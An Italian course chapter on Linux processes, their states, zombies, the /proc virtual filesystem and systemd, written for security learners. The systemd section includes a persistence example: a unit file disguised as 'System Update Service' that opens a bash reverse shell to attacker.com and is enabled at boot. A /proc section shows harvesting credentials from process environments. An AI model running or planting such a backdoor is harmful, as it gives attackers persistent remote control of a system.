I processi: struttura, stati, /proc
Come è fatto un processo Linux, i suoi stati, e cosa puoi imparare leggendo /proc.
Blocco: A — Il kernel e i processi
Prerequisiti: A1 (kernel, ring, syscall)
Collegato a: A3 (memoria), A4 (segnali), D1 (fork ed exec)
Cos'è un processo, davvero
Come sviluppatore hai già un'idea intuitiva di cosa sia un processo: è un programma in esecuzione. Ma questa definizione è troppo vaga per capire quello che succede davvero sotto.
Per il kernel Linux, un processo è un'istanza isolata di esecuzione con queste proprietà:
- Ha il proprio spazio di memoria virtuale — non vede e non può toccare la memoria degli altri processi
- Ha un insieme di file descriptor aperti — i suoi canali verso file, socket, pipe
- Ha un'identità — chi è, chi lo ha creato, con quali permessi gira
- Ha uno stato — sta girando? Sta aspettando? È sospeso?
- Ha risorse proprie — tempo CPU consumato, limiti di memoria, segnali pendenti
Il kernel tiene tutte queste informazioni in una struttura dati chiamata task_struct. È una delle strutture più grandi e complesse del kernel Linux — nella versione attuale occupa diverse centinaia di campi. Ogni processo in esecuzione sul sistema ha la sua task_struct in memoria kernel.
Un po' di storia: da batch a multitasking
Negli anni '60, quando i sistemi operativi iniziarono a gestire più programmi contemporaneamente, si pose il problema di come rappresentare internamente ciascun programma in esecuzione. Multics — il sistema sviluppato da MIT, Bell Labs e GE — introdusse il concetto moderno di processo come unità di esecuzione isolata con risorse proprie.
Unix, nato nei Bell Labs nel 1969 come reazione alla complessità di Multics, adottò e semplificò questo modello. La scelta di Unix fu elegante: ogni processo nasce copiando un processo esistente (fork), poi eventualmente si trasforma in un programma diverso (exec). Non esiste un meccanismo separato per "creare un processo da zero". Questa semplicità ha resistito fino ad oggi — Linux segue ancora esattamente lo stesso modello.
Il PID: il numero di identità di un processo
Ogni processo ha un PID (Process ID): un numero intero positivo univoco assegnato dal kernel al momento della creazione. È la carta d'identità del processo.
# Il PID del processo corrente (la tua shell)
echo $$
# PID di tutti i processi in esecuzione
ps aux
# Albero genealogico: chi ha creato chi
pstree -p
# Dettagli di un processo specifico
ps -p 1234 -o pid,ppid,user,comm,stat
Oltre al PID, ogni processo ha un PPID (Parent PID): il PID del processo che lo ha creato. Questo crea una gerarchia ad albero. Al vertice di tutto c'è il processo con PID 1 — su sistemi moderni è systemd (o init su sistemi più vecchi). È il primo processo avviato dal kernel al boot, e da lui discendono direttamente o indirettamente tutti gli altri.
# Visualizza l'albero completo dei processi
pstree -p 1
# Chi è il processo 1?
cat /proc/1/comm
# systemd
Se un processo muore prima dei suoi figli, quei figli diventano orfani. Il kernel li adotta automaticamente assegnando loro come nuovo padre il processo 1 (systemd). Questo evita che rimangano processi "senza padre" che nessuno può controllare.
Gli stati di un processo
Un processo non è sempre in esecuzione. La CPU è una risorsa condivisa tra decine o centinaia di processi, e il kernel decide continuamente chi ottiene il turno. Ogni processo in ogni momento si trova in uno di questi stati:
R — Running (o Runnable)
Il processo sta usando la CPU adesso,
oppure è in coda pronto per usarla non appena
la CPU si libera.
S — Sleeping (interrompibile)
Il processo è in attesa di qualcosa:
che arrivi un dato dalla rete, che l'utente
prema un tasto, che scada un timer.
Può essere svegliato da un segnale.
D — Disk sleep (non interrompibile)
Il processo sta aspettando un'operazione I/O
di basso livello (tipicamente disco).
Non può essere interrotto neanche da un segnale.
Un processo bloccato in D per troppo tempo
è spesso indice di problema hardware.
T — Stopped
Il processo è stato sospeso (SIGSTOP o Ctrl+Z).
Non esegue nulla, aspetta di essere ripreso
con SIGCONT.
Z — Zombie
Il processo ha terminato la sua esecuzione
ma il padre non ha ancora "ritirato" il suo
codice di uscita. Esiste ancora nella tabella
dei processi ma non consuma CPU né memoria.
X — Dead
Stato transitorio di un processo appena morto,
normalmente non visibile.
# Vedere gli stati dei processi
ps aux
# La colonna STAT mostra lo stato:
# S = sleeping
# Ss = sleeping, session leader
# R+ = running in foreground
# D = disk sleep (preoccupante se persiste)
# Z = zombie
# T = stopped
# Vedere solo i processi in un certo stato
ps aux | awk '$8 ~ /^Z/' # zombie
ps aux | awk '$8 ~ /^D/' # disk sleep
I processi zombie
Il processo zombie merita un approfondimento perché è un concetto che confonde spesso.
Quando un processo termina, il kernel non cancella immediatamente la sua task_struct. La conserva finché il processo padre non chiama la syscall wait() per leggere il codice di uscita del figlio. Solo dopo che il padre ha "ritirato" quel codice il kernel pulisce tutto.
Nel frattempo, il processo figlio è zombie: è morto, ma la sua voce nella tabella dei processi esiste ancora. Non consuma CPU, non consuma memoria (quella è già stata liberata), ma occupa un PID.
# Creare un processo zombie intenzionalmente (per capire)
cat << 'EOF' > crea_zombie.c
#include <stdio.h>
#include <unistd.h>
int main() {
pid_t pid = fork(); // crea un processo figlio
if (pid == 0) {
// Siamo nel figlio: termina subito
return 0;
}
// Siamo nel padre: aspetta 30 secondi senza chiamare wait()
// Nel frattempo il figlio è zombie
printf("Figlio PID: %d è zombie. Guarda con: ps aux | grep Z\n", pid);
sleep(30);
return 0;
}
EOF
gcc crea_zombie.c -o crea_zombie
./crea_zombie &
ps aux | grep Z
I processi zombie di per sé non sono un problema grave — se il padre li "raccoglie" prima o poi, spariscono. Il problema è un padre che non chiama mai wait() e crea molti figli: la tabella dei processi si riempie di zombie e a un certo punto il sistema esaurisce i PID disponibili e non può più creare nuovi processi.
Filesystem classico e filesystem virtuale: la differenza
Prima di parlare di /proc, è importante capire cosa lo distingue da un filesystem normale — altrimenti sembra magia.
Come funziona un filesystem classico
Quando monti un disco su Linux e ci metti dei file, quello che succede fisicamente è questo: il disco contiene blocchi di dati. Il filesystem (ext4, btrfs, xfs…) è il sistema che organizza quei blocchi e tiene traccia di dove si trova ogni file. Ogni file ha una voce in una struttura chiamata inode — che contiene i metadati del file (permessi, dimensione, timestamp, proprietario) e i puntatori ai blocchi fisici dove stanno i dati.
Quando fai cat /etc/passwd, il kernel:
- Trova l'inode di
/etc/passwdsu disco - Legge i puntatori ai blocchi dati
- Legge quei blocchi dal disco
- Restituisce i dati al programma
I dati esistono fisicamente su disco. Sono persistenti. Se spegni il computer e lo riaccendi, ci sono ancora.
Come funziona un filesystem virtuale
Un filesystem virtuale non ha disco sottostante. Non ha inode su disco, non ha blocchi fisici. Esiste solo in memoria RAM, e il kernel lo genera dinamicamente ogni volta che qualcuno lo legge.
Linux usa un livello di astrazione chiamato VFS (Virtual File System) che permette di trattare qualsiasi sorgente di dati — disco, rete, o strutture interne del kernel — come se fosse un filesystem normale. I programmi non sanno la differenza: usano le stesse syscall (open, read, write) sia per i file su disco che per i file virtuali.
Programma: open("/proc/1/status") → read() → close()
↓
VFS (Virtual File System)
/ \
Filesystem su disco Filesystem virtuale
(legge da blocchi fisici) (chiama funzioni del kernel
che generano i dati al momento)
Questo è il motivo per cui i "file" in /proc non hanno una dimensione nel senso tradizionale — se fai ls -la /proc/1/status vedrai dimensione 0, anche se leggendolo ottieni dati. La dimensione non è nota in anticipo perché il contenuto viene generato nel momento della lettura.
Chi gestisce /proc e come lo crea
/proc è un filesystem virtuale chiamato procfs. È implementato direttamente nel kernel Linux come un modulo. Quando il kernel si avvia, monta automaticamente procfs su /proc. Non c'è nessun processo esterno che lo gestisce — è codice kernel.
Il funzionamento è questo: il kernel mantiene in memoria le strutture dati di ogni processo (la task_struct che abbiamo visto). Quando un programma apre /proc/1234/status, il VFS intercetta la richiesta e la passa al modulo procfs. Procfs va a leggere la task_struct del processo 1234, formatta i dati come testo leggibile, e li restituisce. Non li scrive da nessuna parte — li genera ogni volta, freschi, al momento della lettura.
# Dimostrazione: leggi lo stesso file due volte a distanza di tempo
# I valori cambiano perché riflettono lo stato attuale
cat /proc/self/status | grep VmRSS
sleep 1
cat /proc/self/status | grep VmRSS
# I valori potrebbero essere diversi — la memoria è dinamica
Dove risiedono i dati e quando spariscono
I dati di /proc non risiedono in nessun file. Risiedono nelle strutture dati del kernel in RAM. /proc/1234/ esiste finché esiste il processo 1234. Nel momento in cui il processo termina, il kernel libera la sua task_struct dalla memoria, e la directory /proc/1234/ sparisce istantaneamente — non c'è nessuna pulizia da fare, non c'è nessun file da cancellare, semplicemente la sorgente dei dati non esiste più.
# Prova pratica
sleep 60 &
PID=$!
ls /proc/$PID/status # esiste
kill $PID
ls /proc/$PID/status # No such file or directory — sparita subito
I symlink: cosa sono davvero
Dentro /proc trovi molti symlink — ad esempio /proc/self/exe che punta all'eseguibile del processo corrente. Vale la pena capire cos'è un symlink, perché viene nominato spesso.
File normale, hard link, symlink
Su un filesystem Linux, un file è composto da due parti separate:
- I dati — i byte effettivi del contenuto, memorizzati in blocchi su disco
- I metadati — le informazioni sul file (permessi, proprietario, timestamp), memorizzati in un inode
Il nome del file nella directory è solo un'etichetta che punta all'inode. Questo permette di avere più nomi che puntano allo stesso inode — si chiamano hard link.
# Crea un file
echo "contenuto" > originale.txt
# Crea un hard link — stesso inode, secondo nome
ln originale.txt copia_hard.txt
# Entrambi puntano allo stesso inode (stesso numero nella prima colonna)
ls -lai originale.txt copia_hard.txt
# 123456 -rw-r--r-- 2 user user ... originale.txt
# 123456 -rw-r--r-- 2 user user ... copia_hard.txt
# ↑ stesso inode ↑ 2 = due hard link
# Modificare uno modifica anche l'altro (sono lo stesso file)
echo "altro" >> originale.txt
cat copia_hard.txt # vedi anche "altro"
# Cancellare "originale.txt" non cancella i dati
# perché copia_hard.txt tiene ancora il riferimento all'inode
rm originale.txt
cat copia_hard.txt # funziona ancora
Un symlink (symbolic link, o soft link) è diverso. Non punta all'inode — punta al percorso di un altro file. È come un post-it che dice "vai a cercare lì". Il symlink ha un proprio inode, separato dall'inode del file target.
# Crea un symlink
ln -s originale.txt link_simbolico.txt
# Il symlink ha un inode diverso
ls -lai originale.txt link_simbolico.txt
# 123456 -rw-r--r-- 1 user user ... originale.txt
# 789012 lrwxrwxrwx 1 user user ... link_simbolico.txt -> originale.txt
# ↑ inode diverso ↑ la 'l' indica symlink
# Se cancelli originale.txt, il symlink diventa "rotto"
rm originale.txt
cat link_simbolico.txt # No such file or directory
In /proc i symlink sono usati per rappresentare riferimenti dinamici. /proc/self/exe è un symlink che punta al percorso dell'eseguibile del processo corrente. Ma è speciale: anche se l'eseguibile viene cancellato dal disco, il kernel mantiene il file descriptor aperto e puoi ancora leggerlo attraverso il symlink — perché il kernel tiene il riferimento all'inode, non al percorso.
# Guarda i symlink in /proc
ls -la /proc/self/
# exe -> /bin/bash ← eseguibile corrente
# cwd -> /home/user ← directory di lavoro corrente
# root -> / ← root del filesystem visto dal processo
/proc: il filesystem che non esiste su disco
Con questa base, /proc diventa molto più chiaro.
/proc è montato come filesystem virtuale procfs all'avvio del kernel. Ogni processo in esecuzione ha una directory numerata con il suo PID. Il contenuto di quelle directory è generato al momento della lettura dalle strutture dati interne del kernel — nessun byte viene mai scritto su disco.
# Vedere che /proc è un filesystem virtuale montato
mount | grep proc
# proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
# ↑ tipo "proc" = procfs, non ext4 o altro
# Ogni processo ha una directory
ls /proc/
# 1 2 3 ... 1234 ... self sys net ...
# /proc/self è un symlink speciale: punta sempre alla directory
# del processo che lo sta leggendo, qualunque esso sia
ls -la /proc/self
# self -> 1234 (il PID della tua shell)
I file più importanti dentro /proc/[pid]/
/proc/[pid]/status — il sommario leggibile
cat /proc/self/status
# Output (selezionato):
Name: bash ← nome del processo
State: S (sleeping) ← stato attuale
Pid: 1234 ← PID
PPid: 1000 ← PID del padre
Uid: 1000 1000 1000 1000 ← UID reale, effettivo, saved, filesystem
Gid: 1000 1000 1000 1000 ← GID reale, effettivo, saved, filesystem
VmRSS: 8192 kB ← memoria RAM usata ora (Resident Set Size)
VmSize: 16384 kB ← memoria virtuale totale
Threads: 1 ← numero di thread
Seccomp: 0 ← filtro seccomp (0=nessuno)
/proc/[pid]/cmdline — la riga di comando con cui è stato avviato
cat /proc/self/cmdline | tr '\0' ' '
# bash
cat /proc/$(pidof nginx)/cmdline | tr '\0' ' '
# nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
I parametri sono separati dal carattere null (\0), non dallo spazio — ecco perché serve tr '\0' ' ' per renderli leggibili. Questo dettaglio è interessante: un programma potrebbe modificare il proprio cmdline per nascondere i parametri (es. una password passata come argomento).
/proc/[pid]/environ — le variabili d'ambiente
cat /proc/self/environ | tr '\0' '\n'
# HOME=/home/pasquale
# PATH=/usr/bin:/bin:...
# SECRET_API_KEY=abc123 ← variabili sensibili sono qui!
Questo file è leggibile solo dal proprietario del processo o da root. Ma su sistemi mal configurati, o dopo aver compromesso un processo, leggere l'ambiente di un processo rivela credenziali, token API, e configurazioni sensibili passate come variabili d'ambiente.
/proc/[pid]/fd/ — tutti i file descriptor aperti
ls -la /proc/self/fd/
# Output:
# 0 -> /dev/pts/0 ← stdin
# 1 -> /dev/pts/0 ← stdout
# 2 -> /dev/pts/0 ← stderr
# 3 -> /home/user/file.txt ← un file aperto
# 4 -> socket:[12345] ← una connessione di rete
Ogni file descriptor del processo è rappresentato come un symlink. Seguendo questi symlink puoi vedere esattamente cosa ha aperto il processo: file, socket, pipe, device. Questo è uno dei primi posti dove guarda un analista durante un'indagine su un processo sospetto.
# Vedere cosa ha aperto un processo specifico
ls -la /proc/$(pidof nginx)/fd/
# Alternativa: lsof (list open files) — più leggibile
lsof -p $(pidof nginx)
/proc/[pid]/maps — la mappa della memoria virtuale
cat /proc/self/maps
# Output:
# 55a3b4200000-55a3b4220000 r-xp 00000000 08:01 123456 /bin/bash
# 55a3b4420000-55a3b4430000 r--p 00020000 08:01 123456 /bin/bash
# 55a3b4430000-55a3b4440000 rw-p 00030000 08:01 123456 /bin/bash
# 7f8a3c000000-7f8a3c200000 r-xp 00000000 08:01 654321 /lib/libc.so.6
# 7ffe12345000-7ffe12367000 rw-p 00000000 00:00 0 [stack]
# [vdso]
Ogni riga è una regione di memoria virtuale. Le colonne sono: indirizzo iniziale-finale, permessi (r=read, w=write, x=execute, p=private), offset nel file, device, inode, e il nome del file sorgente (o una descrizione per regioni speciali come lo stack).
Approfondiremo questo file nel modulo A3 sulla memoria dei processi — è fondamentale per capire buffer overflow, injection e analisi forense.
/proc/[pid]/exe — il percorso dell'eseguibile
ls -la /proc/self/exe
# /proc/self/exe -> /bin/bash
ls -la /proc/$(pidof nginx)/exe
# /proc/12345/exe -> /usr/sbin/nginx
Un malware che ha cancellato il proprio eseguibile dal disco è ancora raggiungibile qui. Il file descriptor rimane aperto finché il processo vive, anche se il file è stato cancellato dal filesystem.
# Recuperare un eseguibile cancellato dal disco ma ancora in memoria
# (tecnica usata in forensics)
cp /proc/$(pidof processo_sospetto)/exe /tmp/recuperato
/proc/[pid]/net/ — lo stato della rete del processo
# Connessioni TCP attive (formato grezzo, valori in esadecimale)
cat /proc/self/net/tcp
# Più leggibile con ss o netstat
ss -tlnp # socket in ascolto
ss -tnp # connessioni stabilite con PID
I file speciali globali in /proc
Non tutto in /proc riguarda i singoli processi. Ci sono file globali che espongono lo stato del sistema:
cat /proc/cpuinfo # informazioni dettagliate sui core CPU
cat /proc/meminfo # stato della memoria (libera, usata, cache, swap)
cat /proc/version # versione del kernel
cat /proc/cmdline # parametri con cui è stato avviato il kernel al boot
cat /proc/modules # moduli kernel caricati (equivale a lsmod)
cat /proc/mounts # filesystem montati (equivale a mount)
cat /proc/net/arp # cache ARP (mac address associati a IP)
cat /proc/net/route # tabella di routing
cat /proc/sys/ # directory con parametri configurabili del kernel
/proc/sys/ merita attenzione: contiene file scrivibili che cambiano il comportamento del kernel in tempo reale. Sono gli stessi parametri che sysctl modifica.
# Leggere un parametro kernel
cat /proc/sys/net/ipv4/ip_forward
# 0 (il forwarding IP è disabilitato)
# Abilitarlo (richiede root)
echo 1 > /proc/sys/net/ipv4/ip_forward
# Equivalente con sysctl
sysctl -w net.ipv4.ip_forward=1
systemd: il processo 1 e perché è controverso
Al vertice dell'albero dei processi c'è sempre il processo con PID 1. Su sistemi Linux moderni è quasi sempre systemd. Vale la pena capire cosa fa, perché è importante, e perché ha generato — e genera ancora — dibattiti accesi nella comunità Linux.
Il problema che systemd risolve
Per capire systemd bisogna capire cosa c'era prima: SysV init (pronunciato "System Five init"), il sistema di avvio ereditato da Unix System V degli anni '80.
SysV init funzionava così: al boot, il kernel avviava /sbin/init — un programma semplicissimo che leggeva un file di configurazione (/etc/inittab) e lanciava in sequenza una serie di shell script (/etc/init.d/). Ogni servizio aveva il suo script con le funzioni start, stop, restart. Il sistema era comprensibile, trasparente, fatto di file di testo e shell script.
Il problema era la sequenzialità. Gli script venivano eseguiti uno dopo l'altro, in ordine rigido. Se il servizio A impiegava 10 secondi ad avviarsi, tutto il resto aspettava. Su macchine moderne con decine di servizi, il boot durava minuti. Inoltre non c'era un vero sistema di dipendenze: se il servizio B dipendeva da A, lo script di B doveva semplicemente sperare che A fosse già pronto — o inserire sleep 2 sperando che bastasse.
Un altro problema: se un servizio crashava, nessuno se ne accorgeva automaticamente. Poteva restare morto per ore senza che nessuno lo riavviasse.
Cosa fa systemd
systemd — sviluppato da Lennart Poettering a partire dal 2010 — è un sistema di init che risolve questi problemi in modo radicale. Il boot diventa parallelo: systemd analizza le dipendenze tra i servizi e avvia tutto quello che può in parallelo, aspettando solo dove ci sono dipendenze reali. Il risultato è un boot molto più veloce.
Ma systemd non è solo un sistema di avvio più veloce. È un gestore di servizi completo: monitora i servizi, li riavvia se crashano, raccoglie i loro log, gestisce i socket, i mount, i timer, i cgroup. È diventato il centro di controllo del sistema.
# systemd è sempre PID 1
ps -p 1 -o pid,comm
# PID COMMAND
# 1 systemd
# Vedere tutti i servizi e il loro stato
systemctl status
# Stato di un servizio specifico
systemctl status nginx
systemctl status sshd
# Avviare, fermare, riavviare
sudo systemctl start nginx
sudo systemctl stop nginx
sudo systemctl restart nginx
# Abilitare un servizio all'avvio automatico
sudo systemctl enable nginx
sudo systemctl disable nginx
# Vedere i log di un servizio (tramite journald)
journalctl -u nginx
journalctl -u nginx -f # segui in tempo reale
journalctl -u nginx --since "1 hour ago"
Le unit di systemd
systemd non usa shell script — usa file di configurazione dichiarativi chiamati unit file. Ogni servizio, mount, socket, o timer è descritto da un unit file.
# Dove si trovano i unit file
ls /lib/systemd/system/ # unit di sistema (pacchetti installati)
ls /etc/systemd/system/ # unit personalizzati (override locali)
# Leggere il unit file di ssh
cat /lib/systemd/system/ssh.service
Un unit file tipico ha questa struttura:
[Unit]
Description=OpenBSD Secure Shell server
# Dipende da: la rete deve essere pronta
After=network.target auditd.service
# Condizione: non avviare se questo file esiste
ConditionPathExists=!/etc/ssh/sshd_not_to_be_run
[Service]
# Tipo di servizio: forking = il processo crea un figlio e termina
Type=forking
# Percorso del file PID (per sapere quale processo è il servizio)
PIDFile=/run/sshd.pid
# Comando di avvio
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
# Riavvia automaticamente se crasha
Restart=on-failure
[Install]
# In quale "target" (runlevel) deve girare
WantedBy=multi-user.target
La sezione [Unit] descrive il servizio e le sue dipendenze. La sezione [Service] dice a systemd come avviarlo e gestirlo. La sezione [Install] dice quando deve partire nel ciclo di boot.
I target: i runlevel moderni
SysV init aveva i runlevel — numeri da 0 a 6 che rappresentavano diversi stati del sistema (0 = spento, 1 = single user, 3 = multiutente senza GUI, 5 = multiutente con GUI, 6 = riavvio). systemd li sostituisce con i target:
# Target principali
# poweroff.target → sistema spento
# rescue.target → single user, solo root
# multi-user.target → sistema completo senza GUI (server)
# graphical.target → sistema completo con GUI (desktop)
# reboot.target → riavvio
# Vedere il target corrente (il "runlevel" attuale)
systemctl get-default
# Cambiare target (equivale a cambiare runlevel)
sudo systemctl isolate rescue.target # vai in modalità rescue
sudo systemctl set-default multi-user.target # imposta default al boot
Perché systemd è controverso
La comunità Unix ha valori profondi: programmi piccoli che fanno una cosa sola e la fanno bene, componenti intercambiabili, semplicità. systemd rompe queste regole — fa tutto, è monolitico, ha milioni di righe di codice, gestisce servizi, log, rete, DNS, login, mount, e altro ancora.
I critici dicono che è troppo grande, troppo complesso, che concentra troppo potere in un unico componente. I sostenitori dicono che risolve problemi reali che SysV init non riusciva a risolvere, e che la complessità è necessaria.
Dal punto di vista della sicurezza, entrambi hanno ragione: un sistema più grande ha più superficie di attacco, ma un sistema che gestisce le dipendenze correttamente e monitora i servizi è anche più robusto. Vale la pena conoscerlo bene in entrambe le direzioni — come funziona normalmente, e come può essere usato (o abusato) da un attaccante che ha già accesso al sistema.
# Vettore di persistenza: un attaccante con accesso root
# può installare un servizio malevolo che parte ad ogni boot
sudo cat << 'EOF' > /etc/systemd/system/backdoor.service
[Unit]
Description=System Update Service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl enable backdoor.service
# Da questo momento, ad ogni riavvio il sistema si connette all'attaccante
# Come difendersi: controllare i servizi abilitati
systemctl list-unit-files --state=enabled
# Cercare qualcosa di sospetto che non dovrebbe esserci
Perché /proc conta per la sicurezza
Per un attaccante che ha accesso a una shell:
/proc è una miniera d'oro. Senza installare nessun tool aggiuntivo, puoi:
- Trovare credenziali nelle variabili d'ambiente di processi in esecuzione (
/proc/[pid]/environ) - Vedere tutte le connessioni di rete attive e i processi che le hanno aperte
- Recuperare eseguibili cancellati dal disco (
/proc/[pid]/exe) - Capire esattamente con quali parametri girano i servizi (
/proc/[pid]/cmdline) - Leggere la mappa di memoria di un processo per preparare un attacco più raffinato
Per un difensore o analista:
/proc è l'equivalente di una radiografia del sistema. Permette di ispezionare ogni aspetto di ogni processo senza installare niente — ed è per questo che strumenti come ps, top, lsof, netstat e ss funzionano tutti leggendo da /proc.
Esperimento pratico
# 1. Avvia un processo in background da analizzare
sleep 300 &
PID=$!
echo "PID del processo: $PID"
# 2. Esplora la sua directory in /proc
ls /proc/$PID/
# 3. Leggi le informazioni base
cat /proc/$PID/status | grep -E "Name|State|Pid|PPid|VmRSS"
# 4. Vedi la riga di comando
cat /proc/$PID/cmdline | tr '\0' ' '
# 5. Vedi i file descriptor aperti
ls -la /proc/$PID/fd/
# 6. Leggi la mappa di memoria
cat /proc/$PID/maps
# 7. Trova dove si trova l'eseguibile
ls -la /proc/$PID/exe
# 8. Ora termina il processo e vedi cosa succede a /proc
kill $PID
ls /proc/$PID/ # la directory sparisce immediatamente
# Secondo esperimento: trovare variabili d'ambiente di un processo
# Avvia un processo con una variabile "segreta"
SECRET=password123 sleep 300 &
PID=$!
# Leggi le sue variabili d'ambiente
cat /proc/$PID/environ | tr '\0' '\n' | grep SECRET
# SECRET=password123
kill $PID
Fermati un momento
Hai letto parecchia roba tecnica. Prima di andare avanti, consolidiamo tutto con un'analogia.
Immagina un ospedale. Ogni paziente ricoverato è un processo. Il paziente ha una cartella clinica (la task_struct) che contiene tutto quello che lo riguarda: chi è, in che reparto si trova, quali medicine sta prendendo, chi è il suo medico di riferimento. Quella cartella non è il paziente — è la rappresentazione del paziente nel sistema dell'ospedale.
Il PID è il numero di letto. È univoco, identifica il paziente senza ambiguità. Il PPID è chi lo ha portato in ospedale — il parente che ha firmato l'ingresso.
Lo stato del processo è come le condizioni del paziente: c'è chi è sveglio e attivo (R), chi dorme ma si può svegliare (S), chi è in sala operatoria e non si può disturbare assolutamente (D), chi è in coma farmacologico volontario (T), e chi è clinicamente morto ma il certificato non è ancora stato firmato (Z — zombie).
/proc è il sistema informatico dell'ospedale — quella schermata che l'infermiera guarda al computer. Nessun documento fisico esiste in quella schermata: è tutto generato in tempo reale dai dati del sistema. Puoi vedere la cartella di ogni paziente, cosa sta prendendo, con chi sta parlando, quali esami ha fatto. Se sei l'amministratore del sistema (root), puoi vedere le cartelle di tutti. Se sei un paziente normale, puoi vedere solo la tua.
La cosa più importante da portarsi a casa di questo capitolo: ogni processo è isolato ma trasparente al kernel. È isolato perché non può toccare la memoria degli altri. È trasparente perché il kernel sa tutto di lui, e tramite /proc chiunque abbia i permessi giusti può guardare dentro.
Domande di verifica
- Cos'è un processo zombie? È sempre un problema? Quando lo diventa?
/procnon esiste su disco — allora cosa succede quando faicat /proc/self/status?- Un processo ha cancellato il suo eseguibile dal disco subito dopo essere partito. Come puoi recuperarlo?
- Perché le variabili d'ambiente sono un vettore interessante per trovare credenziali su un sistema compromesso?
- Cosa indica lo stato
D(Disk Sleep) di un processo e perché non può essere interrotto da un segnale?
Precedente: A1 — Il Kernel
Prossimo: A3 — La memoria di un processo
Continua a leggere
La memoria di un processo: stack, heap, segmenti
Stack, heap, BSS, data, text: la mappa di memoria di un processo e perché conta per la sicurezza.
Vai al capitolo